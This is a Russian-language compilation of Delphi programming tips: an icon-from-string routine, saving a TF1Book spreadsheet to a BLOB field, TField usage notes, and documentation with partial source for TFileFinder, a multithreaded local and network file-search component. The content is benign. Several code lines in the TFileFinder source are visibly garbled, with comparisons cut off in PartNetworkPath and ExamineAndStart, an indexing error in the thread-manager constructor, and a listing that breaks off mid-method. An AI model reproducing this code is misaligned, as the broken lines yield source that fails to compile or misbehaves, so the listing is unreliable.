                PChar (DWORD (infoHeader) + infoHeaderSize)^); 
                icon.Colors := 4; 
                icon.Width := 32; 
                icon.Height := 32; 
                icon.lpBits := nil; 
                if DibToIconImage (icon, infoHeader^, True) then 
                  try 
                    result := CreateIconFromResource (PByte (icon.lpBits), 
                    icon.dwNumBytes, True, $00030000); 
                  finally 
                    FreeMem (icon.lpBits) 
                  end 
              finally 
                FreeMem (infoHeader) 
              end 
            finally 
              SelectObject (memDC, oldOBJ) 
            end 
          finally 
            DeleteObject (bmp) 
          end 
        finally 
          DeleteDC (memDC) 
        end 
end; 
procedure TForm1.Button1Click(Sender: TObject); 
begin 
  Application.Icon.Handle := StringToIcon ('0'); 
  Timer1.Enabled := True; 
  Button1.Enabled := False; 
end; 
procedure TForm1.Timer1Timer(Sender: TObject); 
const 
  i : Integer = 0; 
begin 
  Inc (i); 
  if i = 100 then 
    i := 1; 
  Application.Icon.Handle := StringToIcon (IntToStr (i)); 
end; 
end.

Сохранение страницы TF1Book в BLOB-поле.

Оформил: DeeCo Автор: http://www.swissdelphicenter.ch

uses vcf1, dbtables;
 procedure SaveSpreadsheet(F1Book: TF1Book);
 var
   BlobStream: TBlobStream;
   MyBlob: HGlobal;
   pblob: Pointer;
 begin
   with Datamodule1.Query1 do
   begin
     Set8087CW($133f);
     try
       Application.ProcessMessages;
       F1Book.SaveWindowInfo;
       MyBlob := GlobalAlloc(GMEM_MOVEABLE, 2000);
       try
         F1Book.WriteToBlob(MyBlob, 0);
         pBlob := globalLock(MyBlob);
         try
           Blobstream := TBlobStream.Create(TBlobField(FieldByName('QUOTE_BLOB')),
             bmWrite);
           try
             Blobstream.Write(pBlob^, GlobalSize(myBlob));
           finally
             Blobstream.Free;
           end;
         finally
           globalUnlock(MyBlob);
         end;
         F1book.IF1Book_Modified := False;
       finally
         globalFree(myblob);
       end;
     finally
       Set8087CW(Default8087CW);
       Application.ProcessMessages;
     end;
   end;
 end;
 //Depending on your Delphi Version (<D4), you will need: 
//D4 und fruhere Versionen brauchen noch: 
var
   Default8087CW: Word = $1332;
 procedure Set8087CW(NewCW: Word);
 asm
   MOV     Default8087CW,AX
   FLDCW   Default8087CW
 end;

Использование нумерации в TFields.

Автор: Mike Orriss Я хочу хранить журнал транзакций в таблице Paradox и хотел бы писать и читать коды транзаций вместо простых целых чисел, которые они представляют в данный момент...

Можете попробовать сделать так:

type Tcodes = (c1,c2,c3,c4);
var code: Tcodes;
code := Tcodes(Table1Field1.AsInteger);
if code in [c2,c4] then .....
  Table1Field1.AsInteger := Integer(code);

Как задать выражение по умолчанию для объекта TField.

Это будет работать, если вы уже установили атрибуты поля и ассоциировали его с полем вашей таблицы. Если вы установили значение в Инспекторе Объектов, т.е. задали строку, не думайте, что это сработает во время выполнения приложения. Если вы попытаетесь во время прогона установить свойство TField.DefaultExpression примерно так:

MyField.DefaultExpression := 'MyValue';

То это скомпилируется, но при создании в таблице новой записи, скажем, при щелчке на кнопке + в DBNavigator, значения по умолчанию вы не получите. Чтобы во время работы приложения все работало, код должен быть таким:

MyField.DefaultExpression := '''MyValue''';

В Инспекторе Объектов вам нужно просто поместить значение 'MyValue' (используя одинарные кавычки).

TFileFinder - механизм поиска файлов.

Статьи по Delphi (017)…
Автор: TADEX
Надпись на дисплее нового карманного компаса под управлением Windows CE - "Север не найден."

История

Было дело, надо было создать компонент, котрый производит поиск файлов. Он был создан и в периодически дополнялся новыми возможностями. Вот и получился компонент с огромными возможностями. Единственное "но" - он был опробован только на Delphi 5 + WinNT 4.0 SP6. Но !должен! без проблем работать и в других средах....

Краткие характеристики

Компонент позволет производить поиск как на локальных дисках так и в локаольной сети.

Компонент использует многопотоковость.

Для сканирования локальных дисков используется отдельный поток, что позволяет продолжать выполнение программы. Для сканирования удаленных компьютеров используется по одному потоку на каждый компьютер. То есть одновременно позволяет сканировать хоть все компьтеры сети.

Это усовершенствование должно заметно если не сказать "КОНКРЕТНО" повышает скорость сканирования.

Фильтрование файлов. Гарантируется, что один и тот же файл не будет дважды и более возвращен. Это может случиться при поиске файлов по нескольким маскам (Например поиск ведется по маскам [some*.*] и [*.txt] в этом случае файл somebody.txt попадает в две котегории).

Компонент ведет статистику:

Кол-во найденых файлов. Кол-во просканированых директорий. Время проведенное в сканировании файлов (паузы исключаются). Время начала и конца сканирования.

Описание

Имя: TCustomFileFinder.

procedure DoFindFile(var FileInfo: TFileInfo); virtual; protected;

Вызывает OnFindFile. Может быть отменена в производных классах.

procedure DoScanDir(const Dir: string); virtual; protected;

Вызывает OnScanDirectory. Может быть отменена в производных классах.

property Dirs: TStrings; protected; 

Содержит список директорий в которых будет производиться посик.

Понимает следующие выражения:

[Drive:][\][Dir[\]] - Поиск в каталоге на локальном диске
\\ - Поиск во всех ресурсах каждого компьютера в сети
\\[Computer][\] - Поиск во всех ресурсах определенного компьютера в сети
\\[Computer][\Share][\] - Поиск в данном ресурсе определенного компьютера в сети

Комментарий: Список используется только при ScanDirs равном sdOther.

Замечание: Если указываются подкаталоги то при в включеной рекурсии они игнорируются.

Пример: Указан поиск в c:\temp.

\\ 
\\server <== (*)
d:\win95
d:\win95\temp <== (*) 

Каталоги (*) будут игнориорваться т.к. [\\server] входит в множество [\\], а [d:\win95\temp] входит в [d:\win95].

property ScanDirs: TScanDirs; protected;

Указывает, где будет производиться поиск.

sdOther - каталоги указаны в перменной Dirs sdCurrentDir - В текущей директории sdCurrentDrive - На текущем диске (диск откуда запускалась программа,

Но не где находится исполняемый файл).

sdFixedDrives - Только на жестких дисках (исключаются дискеты, CDROM, сетевые диски и т.п.) sdAllDrives - На всех дисках которые присутсвеют в системе sdAllNetwork - По всем ресурсам сети (исключаются локальные ресурсы)
property Wildcards: TStrings; protected;

Содержит список масок по которым будет производиться поиск файлов.

Например: Поиск всех файлов с расширением WAV и MP3:

*.wav
*.mp3
property Recurse: Boolean; protected;

Если True, то поиск также будет производиться в поддиректориях.

property Attributes: TFileAttributes; protected;

Указываются атрибуты искомых файлов.

Например:

[faArchive, faReadOnly] - будут найдены файлы у которых нет установленных атрибутов и файлы у которых установлены аттрибуты faArchive или faReadOnly или оба вместе.

property MaxThreads: Cardinal; protected;

Указывает максимальное количество одновременно работающих потоков. 0 - нет ограничений.

Комментарий: Используется при поиске в локальной сети. Оптимальное значение не найдено. Но при малом значениии снижается скорость поиска, а при большом наблюдается большая загрузка ресурсов компьютера. Для поиска на локальных дисках используется один поток, т. к. использование нескольких потоков сколь нибудь заметного прироста производительности не дадут.

property OnFindFile(Sender: TObject; var FileInfo: TFileInfo); protected; event;

Вызывается если файл отвечающий условиям поиска найден.

Информация о файле содержиться в структуре FileInfo;

Время обработки этого события старайтесь сделать как можно меньше, т. к. поиск файлов вызывающий поток возобонвит только после возврата из из события.

property OnScanDirectory(Sender: TObject; const Dir: string); protected; event;

Вызывается перед поиском файлов в директории Dir.

Не вижу сколь нибудь пользы от этого обработчика, кроме информационной. Можно пользователю показать, где в данные момент производиться поиск.

property OnEndScan(Sender: TObject; Terminated: Boolean); protected; event;

Вызывается после того как все потоки завершили свою работу.

procedure Start(Wait: Boolean = False); public;

Собственно дает команду начать поиск.

Если Wait = True, то процедура вернет управление только когда полностью закончиться поиск. Иначе функция сразу вернет управление. Если уже идет поиск, то выбрасывается исклчение.

procedure Terminate; public;

Прерывавает поиск. Если поиск не происходит, то выбрасывается исклчение.

function Scaning: Boolean; public;

Если возвращает True, то компонент осуществляет поиск.

property Pause: Boolean; public;

Присваивание этому свойству True, приостанавливает поиск.

Присваивание этому свойству False, возобновляет поиск.

Статистика

property Stat_DateTimeBegin: TDateTime; public; - время начала поиска (*)
property Stat_DateTimeEnd: TDateTime; public; - время окончания поиска (**)
property Stat_ScaningTime: TDateTime; public; - время сканирования (**)
property Stat_ScanedFiles: Integer; public; - количество найденных файлов
property Stat_ScanedDirs: Integer; public; - количество просмотренных директорий
(*) статистическая переменная доступны после начала поиска
(**) статистические переменные доступны после окончания поиска
unit FileFinder;
interface
uses
  Windows, SysUtils, Classes;
type
  EFileFinderError = class(Exception);
  TFileAttribute = (faArchive, faReadOnly, faHidden, faSystem,
  faCompressed, faOffline, faTemporary);
  TFileAttributes = set of TFileAttribute;
  TScanDirs = (sdOther, sdCurrentDir, sdCurrentDrive, sdFixedDrives,
  sdAllDrives, sdAllNetwork);
  PFileInfo = ^TFileInfo;
  TFileInfo = record
    FileName: string;
    FileSize: Longword;
    Attributes: TFileAttributes;
    CreationTime: TDateTime;
    ModifyTime: TDateTime;
    LastAccessTime: TDateTime;
  end;
  TFindFileEvent = procedure(Sender: TObject; var FileInfo: TFileInfo) of object;
  TScanDirEvent = procedure(Sender: TObject; const Dir: string) of object;
  TEndScanEvent = procedure(Sender: TObject; Terminated: Boolean) of object;
  TCustomFileFinder = class(TComponent)
  private
    FThrManager: Pointer;
    FScanDirs: TScanDirs;
    FDirs: TStrings;
    FWildcards: TStrings;
    FRecurse: Boolean;
    FAttributes: TFileAttributes;
    FMaxThreads: Cardinal;
    FOnFindFile: TFindFileEvent;
    FOnScanDir: TScanDirEvent;
    FOnEndScan: TEndScanEvent;
    FStat_BeginTime: TDateTime;
    FStat_EndTime: TDateTime;
    FStat_IncTime: TDateTime;
    FStat_BegScan: TDateTime;
    FStat_NumFiles: Integer;
    FStat_NumDirs: Integer;
    function GetPause: Boolean;
    procedure SetPause(Value: Boolean);
    procedure SetDirs(Value: TStrings);
    procedure SetScanDirs(Value: TScanDirs);
    procedure SetWildcards(Value: TStrings);
    procedure SetRecurse(Value: Boolean);
    procedure SetAttributes(Value: TFileAttributes);
    procedure SetMaxThreads(Value: Cardinal);
    procedure FindFileCB(var FileInfo: TFileInfo);
    procedure ScanDirCB(const Dir: string);
    procedure TMTerminated;
    function GetStat_DateTimeBegin: TDateTime;
    function GetStat_DateTimeEnd: TDateTime;
    function GetStat_ScaningTime: TDateTime;
    protected
    procedure DoFindFile(var FileInfo: TFileInfo); virtual;
    procedure DoScanDir(const Dir: string); virtual;
    property Dirs: TStrings read FDirs write SetDirs;
    property ScanDirs: TScanDirs read FScanDirs write SetScanDirs;
    property Wildcards: TStrings read FWildcards write SetWildcards;
    property Recurse: Boolean read FRecurse write SetRecurse default TRUE;
    property Attributes: TFileAttributes read FAttributes write SetAttributes;
    property MaxThreads: Cardinal read FMaxThreads write SetMaxThreads;
    property OnFindFile: TFindFileEvent read FOnFindFile write FOnFindFile;
    property OnScanDirectory: TScanDirEvent read FOnScanDir write FOnScanDir;
    property OnEndScan: TEndScanEvent read FOnEndScan write FOnEndScan;
  public
    constructor Create(Owner: TComponent); override;
    destructor Destroy; override;
    procedure Start(Wait: Boolean = False);
    procedure Terminate;
    function Scaning: Boolean;
    property Pause: Boolean read GetPause write SetPause;
    property Stat_DateTimeBegin: TDateTime read GetStat_DateTimeBegin;
    property Stat_DateTimeEnd: TDateTime read GetStat_DateTimeEnd;
    property Stat_ScaningTime: TDateTime read GetStat_ScaningTime;
    property Stat_ScanedFiles: Integer read FStat_NumFiles;
    property Stat_ScanedDirs: Integer read FStat_NumDirs;
  end;
  TFileFinder = class(TCustomFileFinder)
  published
    property Dirs;
    property ScanDirs;
    property Wildcards;
    property Recurse;
    property Attributes;
    property MaxThreads;
    property OnFindFile;
    property OnScanDirectory;
    property OnEndScan;
  end;
procedure register;
implementation
type
  PQueueRecord = ^TQueueRecord;
  TQueueRecord = record
    Dir: string;
    Thread: Pointer;
  end;
  TThreadManager = class
  private
    FWildcards: array of string;
    FTerminated: Boolean;
    FFF: TCustomFileFinder;
    ThreadList: TThreadList;
    TermEvent: THandle;
    FQueue: TThreadList;
    constructor Create(AFF: TCustomFileFinder);
    destructor Destroy; override;
    function GetDir(Sender: TObject): string;
    procedure AddDir(const Dir: string);
    procedure ExamineAndStart;
    procedure Terminate;
    procedure Suspend;
    procedure Resume;
    procedure WaitForAll;
    function GetSuspended: Boolean;
    procedure FFTTerminated(Sender: TObject);
  end;
  TFileFinderThread = class(TThread)
  private
    ThrManager: TThreadManager;
    FilesInfo: array of TFileInfo;
    Bounds: array of Integer;
    FilesCount: Integer;
    CurFileInfo: PFileInfo;
    CurrentDir: string;
    ProcFileName: string;
    ProcFileAttr: Cardinal;
    NetRes: TNetResource;
    ServerProc: string;
    procedure EnumNetRes(Ptr: PNetResource);
    function PartNetworkPath(const Dir: string): Boolean;
    function TestFile(var ft: TFileAttributes): Boolean;
    procedure WildcardProc(const Wildcard: string);
    procedure DirProc(const Dir: string);
    function SubSearch(Low, High: Integer): Boolean;
    function SearchFile: Boolean;
    procedure IncFilesCount;
    procedure SafeCallFind;
    procedure SafeCallNotify;
  protected
    procedure DoTerminate; override;
    procedure Execute; override;
  public
    constructor Create(ATM: TThreadManager);
  end;
resourcestring
  NamePalette = 'Tadex''s Components';
  ScaningProcessError = 'Scaning in progress. Can not change this parameter.';
  ProcThreadError = 'Scaning don''t started';
  BeginScaningError = 'Scaning already in progress.';
  StatNotCollected = 'This statistic information isn''t collected yet';
function DrivePath(Letter: char): string;
begin
  Result := Letter + ':\';
end;
function MakePath(const Path, FileName: string): string;
begin
  if Path[Length(Path)] = '\' then
    Result := Concat(Path, FileName)
  else
    Result := Concat(Path, '\', FileName);
end;
function ExtractServerName(const UNCPath: string): string;
var
  DelimPos: Integer;
begin
  Result := '.';
  if (UNCPath[1] <> '\') or (UNCPath[2] <> '\') then
    Exit;
  Result := Copy(UNCPath, 3, Length(UNCPath) - 2);
  DelimPos := Pos('\', Result);
  if DelimPos > 0 then
    Result := Copy(Result, 1, DelimPos - 1);
  if Result = '' then
    Result := '*';
end;
function ExpandPath(const Path: string): string;
var
  Dir, Drive, name: string;
  i, Count: Integer;
  Dirs: array [0..127] of string;
  Buffer: array [0..MAX_PATH - 1] of Char;
  FName: PChar;
  FD: WIN32_FIND_DATA;
  HDir: THandle;
  NxtFile: Boolean;
begin
  Result := '';
  SetString(Dir, Buffer, GetFullPathName(PChar(Path),
  SizeOf(Buffer), Buffer, FName));
  Drive := ExtractFileDrive(Dir);
  Count := 0;
  for i := Low(Dirs) to High(Dirs) do
  begin
    if (Length(Dir) = 3) or (Length(Dir) = Length(Drive)) then
      Break;
    name := ExtractFileName(Dir);
    Dir := ExtractFileDir(Dir);
    if name <> '' then
    begin
      Dirs[Count] := name;
      Inc(Count);
    end;
  end;
  if Count > 0 then
    Dir := Drive;
  name := UpperCase(Dir);
  for i := Count - 1 downto 0 do
  begin
    Dir := Concat(Dir, '\', Dirs[i]);
    HDir := FindFirstFile(PChar(Dir), FD);
    if HDir = INVALID_HANDLE_VALUE then
      Exit;
    try
      NxtFile := FindNextFile(HDir, FD);
    finally
      Windows.FindClose(HDir);
    end;
    if NxtFile then
      Exit;
    if FD.dwFileAttributes and FILE_ATTRIBUTE_DIRECTORY = 0 then
      Exit;
    name := Concat(name, '\', FD.cFileName);
  end;
  Result := name;
end;
function FT2DT(FileTime: TFileTime): TDateTime;
var
  LocalFileTime: TFileTime;
  Tmp: Int64;
begin
  FileTimeToLocalFileTime(FileTime, LocalFileTime);
  with Int64Rec(Tmp), LocalFileTime do
  begin
    Hi := dwHighDateTime;
    Lo := dwLowDateTime;
  end;
  Result := (Tmp - 94353120000000000) / 8.64e11;
end;
function LowBound(Arr: array of Integer; index: Integer): Integer;
begin
  if index = 0 then
    Result := 0
  else
    Result := Arr[index - 1];
end;
constructor TFileFinderThread.Create(ATM: TThreadManager);
begin
  inherited Create(True);
  FreeOnTerminate := True;
  ThrManager := ATM;
  SetLength(Bounds, Length(ThrManager.FWildcards));
  SetLength(FilesInfo, 8);
  ServerProc := '';
  with NetRes do
  begin
    dwScope := RESOURCE_GLOBALNET;
    dwType := RESOURCETYPE_DISK;
    dwDisplayType := RESOURCEDISPLAYTYPE_SERVER;
    dwUsage := RESOURCEUSAGE_CONTAINER;
    lpLocalName := '';
    lpComment := '';
    lpProvider := '';
  end;
end;
procedure TFileFinderThread.SafeCallFind;
begin
  ThrManager.FFF.FindFileCB(CurFileInfo^);
end;
procedure TFileFinderThread.SafeCallNotify;
begin
  ThrManager.FFF.ScanDirCB(CurrentDir);
end;
function TFileFinderThread.SubSearch(Low, High: Integer): Boolean;
var
  Tmp: Integer;
begin
  Tmp := High - Low;
  if Tmp <= 0 then
    Result := False
  else
  if Tmp = 1 then
    Result := FilesInfo[Low].FileName = ProcFileName
  else
  begin
    Tmp := Low + Tmp div 2;
    if FilesInfo[Tmp].FileName <= ProcFileName then
      Result := SubSearch(Tmp, High)
    else
      Result := SubSearch(Low, Tmp);
  end;
end;
function TFileFinderThread.SearchFile: Boolean;
var
  i: Integer;
begin
  Result := True;
  for i := 0 to High(Bounds) do
    if SubSearch(LowBound(Bounds, i), Bounds[i]) then
      Exit;
  Result := False;
end;
function TFileFinderThread.TestFile(var FT: TFileAttributes): Boolean;
begin
  Result := False;
  FT := [];
  if ProcFileAttr and FILE_ATTRIBUTE_DIRECTORY <> 0 then
    Exit;
  if ProcFileAttr and FILE_ATTRIBUTE_ARCHIVE <> 0 then
    Include(FT, faArchive);
  if ProcFileAttr and FILE_ATTRIBUTE_READONLY <> 0 then
    Include(FT, faReadOnly);
  if ProcFileAttr and FILE_ATTRIBUTE_HIDDEN <> 0 then
    Include(FT, faHidden);
  if ProcFileAttr and FILE_ATTRIBUTE_SYSTEM <> 0 then
    Include(FT, faSystem);
  if ProcFileAttr and FILE_ATTRIBUTE_COMPRESSED <> 0 then
    Include(FT, faCompressed);
  if ProcFileAttr and FILE_ATTRIBUTE_TEMPORARY <> 0 then
    Include(FT, faTemporary);
  if ProcFileAttr and FILE_ATTRIBUTE_OFFLINE <> 0 then
    Include(FT, faOffline);
  Result := ((FT * ThrManager.FFF.FAttributes <> [])
  or (FT = [])) and not SearchFile;
end;
procedure TFileFinderThread.IncFilesCount;
begin
  Inc(FilesCount);
  if FilesCount >= Length(FilesInfo) then
    SetLength(FilesInfo, Length(FilesInfo) * 3 div 2);
end;
procedure TFileFinderThread.WildcardProc(const Wildcard: string);
var
  FD: WIN32_FIND_DATA;
  Files: THandle;
  Attr: TFileAttributes;
begin
  if Terminated then
    Exit;
  Files := FindFirstFile(PChar(Wildcard), FD);
  if Files <> INVALID_HANDLE_VALUE then
    try
      repeat
        ProcFileName := FD.cFileName;
        ProcFileAttr := FD.dwFileAttributes;
        if TestFile(Attr) then
          with FilesInfo[FilesCount], FD do
          begin
            FileName := ProcFileName;
            FileSize := nFileSizeLow;
            Attributes := Attr;
            CreationTime := FT2DT(ftCreationTime);
            ModifyTime := FT2DT(ftLastWriteTime);
            LastAccessTime := FT2DT(ftLastAccessTime);
            IncFilesCount;
          end
      until
        Terminated or not FindNextFile(Files, FD)
    finally
      Windows.FindClose(Files);
    end
end;
procedure TFileFinderThread.EnumNetRes(Ptr: PNetResource);
type
  PNetResArray = ^TNetResArray;
  TNetResArray = array[0..MaxInt div sizeof(TNetResource) - 1] of TNetResource;
var
  I, BufSize, NetResult: Integer;
  Count, Size: LongWord;
  NetHandle: THandle;
  NetResources: PNetResArray;
begin
  if Terminated then
    Exit;
  if WNetOpenEnum(RESOURCE_GLOBALNET, RESOURCETYPE_DISK,
  0, Ptr, NetHandle) <> NO_ERROR then
    Exit;
  NetResources := nil;
  try
    BufSize := 10 * SizeOf(TNetResource);
    GetMem(NetResources, BufSize);
    repeat
      Count := $FFFFFFFF; Size := BufSize;
      NetResult := WNetEnumResource(NetHandle, Count, NetResources, Size);
      if NetResult <> ERROR_MORE_DATA then
        Break;
      BufSize := Size;
      ReallocMem(NetResources, BufSize);
    until
      False;
    if NetResult = NO_ERROR then
      for I := 0 to Count - 1 do
        with NetResources^[I] do
          if dwDisplayType in [RESOURCEDISPLAYTYPE_SHARE,
          RESOURCEDISPLAYTYPE_SERVER] then
            ThrManager.AddDir(lpRemoteName)
          else
          if (dwUsage and RESOURCEUSAGE_CONTAINER) =
          RESOURCEUSAGE_CONTAINER then
            EnumNetRes(@NetResources^[I]);
  finally
    if NetResources <> nil then
      FreeMem(NetResources);
    WNetCloseEnum(NetHandle);
  end;
end;
function TFileFinderThread.PartNetworkPath(const Dir: string): Boolean;
begin
  Result := False;
  if (Length(Dir) or (Dir[1] <> '\') or (Dir[2] <> '\') then
    Exit;
  if (Length(Dir) > 2) and (LastDelimiter('\', Dir) > 2) then
    Exit;
  if Length(Dir) = 2 then
    EnumNetRes(nil)
  else
  begin
    NetRes.lpRemoteName := PChar(Dir);
    EnumNetRes(@NetRes);
  end;
  Result := True;
end;
procedure TFileFinderThread.DirProc(const Dir: string);
var
  FD: WIN32_FIND_DATA;
  Dirs: THandle;
  i: Integer;
begin
  if Terminated then
    Exit;
  CurrentDir := Dir;
  Synchronize(SafeCallNotify);
  if PartNetworkPath(Dir) then
    Exit;
  FilesCount := 0;
  for i := 0 to High(Bounds) do
    Bounds[i] := -1;
  for i := 0 to High(ThrManager.FWildcards) do
  begin
    WildcardProc(MakePath(Dir, ThrManager.FWildcards[i]));
    Bounds[i] := FilesCount;
  end;
  for i := 0 to FilesCount - 1 do
  begin
    if Terminated then
      Exit;
    CurFileInfo := @FilesInfo[i];
    with CurFileInfo^ do
    begin
      FileName := MakePath(Dir, FileName);
      Synchronize(SafeCallFind);
      FileName := '';
    end;
  end;
  if ThrManager.FFF.FRecurse and not Terminated then
  begin
    Dirs := FindFirstFile(PChar(MakePath(Dir, '*.*')), FD);
    if Dirs <> INVALID_HANDLE_VALUE then
      try
        repeat
          with FD do
            if ((dwFileAttributes and FILE_ATTRIBUTE_DIRECTORY) <> 0) and
            (cFileName <> string('.')) and (cFileName <> string('..')) then
              DirProc(MakePath(Dir, cFileName));
        until
          Terminated or not FindNextFile(Dirs, FD);
      finally
        Windows.FindClose(Dirs);
      end
  end
end;
procedure TFileFinderThread.Execute;
var
  Dir: string;
begin
  repeat
    Dir := ThrManager.GetDir(Self);
    if Dir = '' then
      Break;
    DirProc(Dir);
  until
    Terminated;
end;
procedure TFileFinderThread.DoTerminate;
begin
  ThrManager.FFTTerminated(Self);
end;
constructor TThreadManager.Create(AFF: TCustomFileFinder);
var
  i, j, Count: Integer;
  ch: Char;
  Dirs: array of string;
begin
  inherited Create;
  FFF := AFF;
  FTerminated := False;
  FQueue := TThreadList.Create;
  ThreadList := TThreadList.Create;
  TermEvent := CreateEvent(nil, False, False, nil);
  SetLength(FWildcards, FFF.Wildcards.Count);
  Count := 0;
  for i := 0 to High(FWildcards) do
    if Trim(FFF.Wildcards.Strings[i]) <> '' then
    begin
      FWildcards[Count] := FFF.Wildcards.Strings[i];
      Inc(Count);
    end;
  SetLength(FWildcards, Count);
  SetLength(Dirs, FFF.FDirs.Count);
  for i := 0 to High(Dirs) do
    Dirs[Count] := FFF.FDirs.Strings[i];
  case FFF.FScanDirs of
    sdOther:
    begin
      for i := 0 to High(Dirs) do
        Dirs[i] := ExpandPath(Dirs[i]);
      for i := 0 to High(Dirs) do
        for j := 0 to High(Dirs) do
          if (i <> j) and (Dirs[i] <> '') and (Dirs[j] <> '') then
            if FFF.FRecurse then
            begin
              if Pos(Dirs[j], Dirs[i]) > 0 then
                Dirs[i] := '';
            end
            else
            begin
              if Dirs[i] = Dirs[j] then
                Dirs[i] := '';
            end;
      for i := 0 to High(Dirs) do
        if Dirs[i] <> '' then
          AddDir(Dirs[i]);
    end;
    sdCurrentDir:
      AddDir(GetCurrentDir);
    sdCurrentDrive:
      AddDir(DrivePath(GetCurrentDir[1]));
    sdAllNetwork:
      AddDir('\\');
    else
      for ch := 'A' to 'Z' do
        case GetDriveType(PChar(DrivePath(ch))) of
          DRIVE_REMOVABLE, DRIVE_REMOTE, DRIVE_CDROM:
            if FFF.FScanDirs = sdAllDrives then
              AddDir(DrivePath(ch));
          DRIVE_FIXED:
            if FFF.FScanDirs in [sdAllDrives, sdFixedDrives] then
              AddDir(DrivePath(ch));
        end;
  end;
end;
destructor TThreadManager.Destroy;
begin
  Terminate;
  WaitForAll;
  CloseHandle(TermEvent);
  ThreadList.Free;
  FQueue.Free;
  inherited Destroy;
end;
procedure TThreadManager.Terminate;
var
  List: TList;
  i: Integer;
begin
  FTerminated := True;
  List := ThreadList.LockList;
  for i := 0 to List.Count - 1 do
    with TFileFinderThread(List.Items[i]) do
    begin
      Suspended := False;
      Terminate;
    end;
  ThreadList.UnlockList;
end;
procedure TThreadManager.Suspend;
var
  List: TList;
  i: Integer;
begin
  List := ThreadList.LockList;
  for i := 0 to List.Count - 1 do
    TFileFinderThread(List.Items[i]).Suspended := True;
  ThreadList.UnlockList;
end;
procedure TThreadManager.Resume;
var
  List: TList;
  i: Integer;
begin
  List := ThreadList.LockList;
  for i := 0 to List.Count - 1 do
    TFileFinderThread(List.Items[i]).Suspended := False;
  ThreadList.UnlockList;
end;
procedure TThreadManager.WaitForAll;
var
  Msg: TMsg;
  H: THandle;
begin
  H := TermEvent;
  if GetCurrentThreadID = MainThreadID then
    while MsgWaitForMultipleObjects(1, H, False, INFINITE,
    QS_SENDMESSAGE) = WAIT_OBJECT_0 + 1 do
      PeekMessage(Msg, 0, 0, 0, PM_NOREMOVE)
  else
    WaitForSingleObject(H, INFINITE);
end;
procedure TThreadManager.FFTTerminated(Sender: TObject);
var
  List: TList;
  Termination: Boolean;
begin
  ThreadList.Remove(Sender);
  ExamineAndStart;
  List := ThreadList.LockList;
  Termination := List.Count = 0;
  ThreadList.UnlockList;
  if Termination then
  begin
    SetEvent(TermEvent);
    FFF.TMTerminated;
  end;
end;
function TThreadManager.GetSuspended: Boolean;
var
  List: TList;
  i: Integer;
begin
  Result := False;
  List := ThreadList.LockList;
  for i := 0 to List.Count - 1 do
    Result := Result or TFileFinderThread(List.Items[i]).Suspended;
  ThreadList.UnlockList;
end;
function TThreadManager.GetDir(Sender: TObject): string;
var
  List: TList;
  i: Integer;
  ServerProc: string;
begin
  Result := '';
  List := FQueue.LockList;
  for i := 0 to List.Count - 1 do
    with PQueueRecord(List.Items[i])^ do
      if Thread = Sender then
      begin
        Result := Dir;
        Dispose(List.Items[i]);
        List.Delete(i);
        Break;
      end;
  if Result = '' then
  begin
    ServerProc := '';
    for i := 0 to List.Count - 1 do
      with PQueueRecord(List.Items[i])^ do
        if Thread = nil then
        begin
          ServerProc := ExtractServerName(Dir);
          Result := Dir;
          Dispose(List.Items[i]);
          List.Delete(i);
          Break;
        end;
    if ServerProc <> '' then
    begin
      if Sender is TFileFinderThread then
        TFileFinderThread(Sender).ServerProc := ServerProc;
      for i := 0 to List.Count - 1 do
        with PQueueRecord(List.Items[i])^ do
          if ExtractServerName(Dir) = ServerProc then
            Thread := Sender;
    end;
  end;
  FQueue.UnlockList;
end;
procedure TThreadManager.AddDir(const Dir: string);
var
  i: Integer;
  List: TList;
  QRec: PQueueRecord;
  Caller: TFileFinderThread;
  ServerProc: string;
begin
  ServerProc := ExtractServerName(Dir);
  Caller := nil;
  List := ThreadList.LockList;
  for i := 0 to List.Count - 1 do
    if TFileFinderThread(List.Items[i]).ServerProc = ServerProc then
    begin
      Caller := TFileFinderThread(List.Items[i]);
      Break;
    end;
  ThreadList.UnlockList;
  New(QRec);
  QRec.Dir := Dir;
  QRec.Thread := Caller;
  FQueue.Add(QRec);
  ExamineAndStart;
end;
procedure TThreadManager.ExamineAndStart;
var
  Threads, Queue: TList;
  i: Integer;
  NewThread: TFileFinderThread;
  ServerProc: string;
begin
  if FTerminated then
    Exit;
  Threads := ThreadList.LockList;
  Queue := FQueue.LockList;
  repeat
    ServerProc := '';
    if (FFF.FMaxThreads = 0) or (Cardinal(Threads.Count) then
    begin
      for i := 0 to Queue.Count - 1 do
        with PQueueRecord(Queue.Items[i])^ do
          if Thread = nil then
          begin
            ServerProc := ExtractServerName(Dir);
            Break;
          end;
      if ServerProc <> '' then
      begin
        NewThread := TFileFinderThread.Create(Self);
        Threads.Add(NewThread);
        NewThread.ServerProc := ServerProc;
        for i := 0 to Queue.Count - 1 do
          with PQueueRecord(Queue.Items[i])^ do
            if ExtractServerName(Dir) = ServerProc then
              Thread := NewThread;
        NewThread.Resume;
      end;
    end;
  until
    ServerProc = '';
  FQueue.UnlockList;
  ThreadList.UnlockList;
end;
constructor TCustomFileFinder.Create(Owner: TComponent);
begin
  inherited Create(Owner);
  FDirs := TStringList.Create;
  FWildcards := TStringList.Create;
  FAttributes := [faArchive, faReadOnly];
  FRecurse := True;
  FScanDirs := sdFixedDrives;
  FMaxThreads := 10;
  FThrManager := nil;
  FWildcards.Add('*.*');
  FStat_BeginTime := 0;
  FStat_EndTime := 0;
  FStat_IncTime := 0;
  FStat_NumFiles := 0;
  FStat_NumDirs := 0;
end;
destructor TCustomFileFinder.Destroy;
begin
  if Assigned(FThrManager) then
    TThreadManager(FThrManager).Free;
  FDirs.Free;
  FWildcards.Free;
  inherited Destroy;
end;
procedure TCustomFileFinder.FindFileCB(var FileInfo: TFileInfo);
begin
  Inc(FStat_NumFiles);
  DoFindFile(FileInfo);
end;
procedure TCustomFileFinder.ScanDirCB(const Dir: string);
begin
  Inc(FStat_NumDirs);
  DoScanDir(Dir);
end;
procedure TCustomFileFinder.DoFindFile(var FileInfo: TFileInfo);
begin
  if Assigned(FOnFindFile) then
    FOnFindFile(self, FileInfo);
end;
procedure TCustomFileFinder.DoScanDir(const Dir: string);
begin
  if Assigned(FOnScanDir) then
    FOnScanDir(self, Dir);
end;
function TCustomFileFinder.Scaning: Boolean;
begin
  Result := Assigned(FThrManager);
end;
procedure TCustomFileFinder.SetDirs(Value: TStrings);
begin
  if Assigned(FThrManager) then
    raise EFileFinderError.Create(ScaningProcessError);
  FDirs.Assign(Value);
  FScanDirs := sdOther;
end;
procedure TCustomFileFinder.SetWildcards(Value: TStrings);
begin
  if Assigned(FThrManager) then
    raise EFileFinderError.Create(ScaningProcessError);
